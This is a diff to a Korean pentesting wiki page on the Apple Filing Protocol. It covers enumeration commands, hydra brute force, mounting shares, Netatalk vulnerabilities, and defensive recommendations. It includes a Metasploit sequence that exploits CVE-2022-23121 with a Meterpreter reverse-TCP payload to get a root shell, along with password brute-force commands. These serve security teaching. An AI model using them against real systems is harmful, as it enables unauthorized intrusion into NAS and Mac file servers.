diff --git a/src/network-services-pentesting/584-pentesting-afp.md b/src/network-services-pentesting/584-pentesting-afp.md index 83e0acb59..38a8ddc95 100644 --- a/src/network-services-pentesting/584-pentesting-afp.md +++ b/src/network-services-pentesting/584-pentesting-afp.md @@ -4,27 +4,109 @@ ## 기본 정보 -**Apple Filing Protocol** (**AFP**)는 한때 AppleTalk Filing Protocol로 알려졌던 전문 네트워크 프로토콜로, **Apple File Service** (**AFS**)에 포함되어 있습니다. 이 프로토콜은 macOS 및 클래식 Mac OS에 대한 파일 서비스를 제공하도록 설계되었습니다. AFP는 유니코드 파일 이름, POSIX 및 접근 제어 목록 권한, 리소스 포크, 명명된 확장 속성, 그리고 정교한 파일 잠금 메커니즘을 지원하는 점에서 두드러집니다. 이는 Mac OS 9 및 이전 버전의 파일 서비스에 대한 주요 프로토콜이었습니다. +**Apple Filing Protocol** (**AFP**)는 한때 AppleTalk Filing Protocol로 알려졌던 전문 네트워크 프로토콜로, **Apple File Service** (**AFS**)에 포함되어 있습니다. 이 프로토콜은 macOS 및 클래식 Mac OS를 위한 파일 서비스를 제공하도록 설계되었습니다. AFP는 유니코드 파일 이름, POSIX 스타일 및 ACL 권한, 리소스 포크, 명명된 확장 속성 및 정교한 파일 잠금 메커니즘을 지원하는 점에서 두드러집니다. -**기본 포트:** 548 +비록 AFP는 현대 macOS 릴리스에서 SMB에 의해 대체되었지만 (OS X 10.9부터 SMB가 기본값), 여전히 다음과 같은 환경에서 발견됩니다: + +* 레거시 macOS / Mac OS 9 환경 +* 오픈 소스 **Netatalk** 데몬을 포함하는 NAS 장치 (QNAP, Synology, Western Digital, TrueNAS…) +* Time-Machine-over-AFP가 여전히 활성화된 혼합 OS 네트워크 + +**기본 TCP 포트:** **548** (TCP / DSI를 통한 AFP) ```bash -PORT STATE SERVICE -548/tcp open afp +PORT STATE SERVICE +548/tcp open afp ``` -### **열거** +--- -AFP 서비스의 열거를 위해 다음 명령어와 스크립트가 유용합니다: +## Enumeration + +### Quick banner / server info ```bash -msf> use auxiliary/scanner/afp/afp_server_info -nmap -sV --script "afp-* and not dos and not brute" -p +# Metasploit auxiliary +use auxiliary/scanner/afp/afp_server_info +run RHOSTS= + +# Nmap NSE +nmap -p 548 -sV --script "afp-* and not dos" ``` -**스크립트 및 설명:** +유용한 AFP NSE 스크립트: -- **afp-ls**: 이 스크립트는 사용 가능한 AFP 볼륨 및 파일을 나열하는 데 사용됩니다. -- **afp-path-vuln**: 모든 AFP 볼륨 및 파일을 나열하며 잠재적인 취약점을 강조 표시합니다. -- **afp-serverinfo**: AFP 서버에 대한 자세한 정보를 제공합니다. -- **afp-showmount**: 사용 가능한 AFP 공유와 해당 ACL을 나열합니다. +| 스크립트 | 기능 | +|--------|--------------| +| **afp-ls** | 사용 가능한 AFP 볼륨 및 파일 목록 표시 | +| **afp-brute** | AFP 로그인에 대한 비밀번호 무차별 대입 | +| **afp-serverinfo** | 서버 이름, 기계 유형, AFP 버전, 지원되는 UAM 등 덤프 | +| **afp-showmount** | ACL과 함께 공유 목록 표시 | +| **afp-path-vuln** | 디렉터리 탐색, CVE-2010-0533 감지(및 악용 가능) | -### [**무차별 대입 공격**](../generic-hacking/brute-force.md#afp) +NSE 무차별 대입 스크립트는 더 많은 제어가 필요한 경우 Hydra/Medusa와 결합할 수 있습니다: +```bash +hydra -L users.txt -P passwords.txt afp:// +``` +### 공유와 상호작용 +*macOS* +```bash +# Finder → Go → "Connect to Server…" +# or from terminal +mkdir /Volumes/afp +mount_afp afp://USER:[email protected]/SHARE /Volumes/afp +``` +*리눅스* (대부분의 배포판에 패키지된 `afpfs-ng` 사용) +```bash +apt install afpfs-ng +mkdir /mnt/afp +mount_afp afp://USER:[email protected]/SHARE /mnt/afp +# or interactive client +afp_client +``` +한 번 마운트되면, 고전 Mac 리소스 포크는 숨겨진 `._*` AppleDouble 파일로 저장된다는 것을 기억하세요. 이러한 파일은 DFIR 도구가 놓치는 흥미로운 메타데이터를 종종 포함하고 있습니다. + +--- + +## 일반적인 취약점 및 악용 + +### Netatalk 인증되지 않은 RCE 체인 (2022) + +여러 NAS 공급업체가 **Netatalk ≤3.1.12**를 배포했습니다. `parse_entries()`에서 경계 검사 부족으로 인해 공격자가 악의적인 **AppleDouble** 헤더를 작성하고 인증 전에 **원격 루트**를 얻을 수 있습니다 (**CVSS 9.8 – CVE-2022-23121**). Western-Digital PR4100을 악용하는 PoC와 함께 NCC Group의 전체 작성물이 제공됩니다. + +Metasploit (>= 6.3)는 DSI `WRITE`를 통해 페이로드를 전달하는 모듈 `exploit/linux/netatalk/parse_entries`를 포함하고 있습니다. +```bash +use exploit/linux/netatalk/parse_entries +set RHOSTS +set TARGET 0 # Automatic (Netatalk) +set PAYLOAD linux/x64/meterpreter_reverse_tcp +run +``` +대상 시스템이 영향을 받는 QNAP/Synology 펌웨어를 실행하는 경우, 성공적인 익스플로잇은 **root**로서의 쉘을 제공합니다. + +### Netatalk OpenSession 힙 오버플로우 (2018) + +구버전 Netatalk (3.0.0 - 3.1.11)은 **DSI OpenSession** 핸들러에서의 경계 초과 쓰기에 취약하여 인증되지 않은 코드 실행이 가능합니다 (**CVE-2018-1160**). Tenable Research에 의해 자세한 분석과 PoC가 발표되었습니다. + +### 기타 주목할 만한 문제 + +* **CVE-2022-22995** – AppleDouble v2가 활성화된 경우 (3.1.0 - 3.1.17) 임의 파일 쓰기 / RCE로 이어지는 심볼릭 링크 리디렉션. +* **CVE-2010-0533** – Apple Mac OS X 10.6 AFP에서의 디렉토리 탐색 ( `afp-path-vuln.nse`에 의해 탐지됨). +* **Netatalk 4.x (2024)**에서 여러 메모리 안전성 버그가 수정되었습니다 – 개별 CVE를 패치하기보다는 업그레이드를 권장합니다. + +--- + +## 방어 권장 사항 + +1. **AFP를 비활성화** 하십시오. 엄격히 필요하지 않은 경우 – 대신 SMB3 또는 NFS를 사용하십시오. +2. AFP를 유지해야 하는 경우, **Netatalk를 ≥ 3.1.18 또는 4.x로 업그레이드** 하거나 2022/2023/2024 패치를 백포트한 공급업체 펌웨어를 적용하십시오. +3. **강력한 UAM**(예: *DHX2*)을 시행하고, 평문 및 게스트 로그인을 비활성화하십시오. +4. TCP 548을 신뢰할 수 있는 서브넷으로 제한하고, 원격으로 노출될 때 AFP를 VPN 내에 감싸십시오. +5. 주기적으로 `nmap -p 548 --script afp-*`로 CI/CD에서 스캔하여 불법 / 다운그레이드된 장비를 탐지하십시오. + +--- + +### [Brute-Force](../generic-hacking/brute-force.md#afp) + +## References + +* Netatalk Security Advisory CVE-2022-23121 – "parse_entries에서의 임의 코드 실행" +* Tenable Research – "18년 된 버그 익스플로잇하기 (CVE-2018-1160)" {{#include ../banners/hacktricks-training.md}}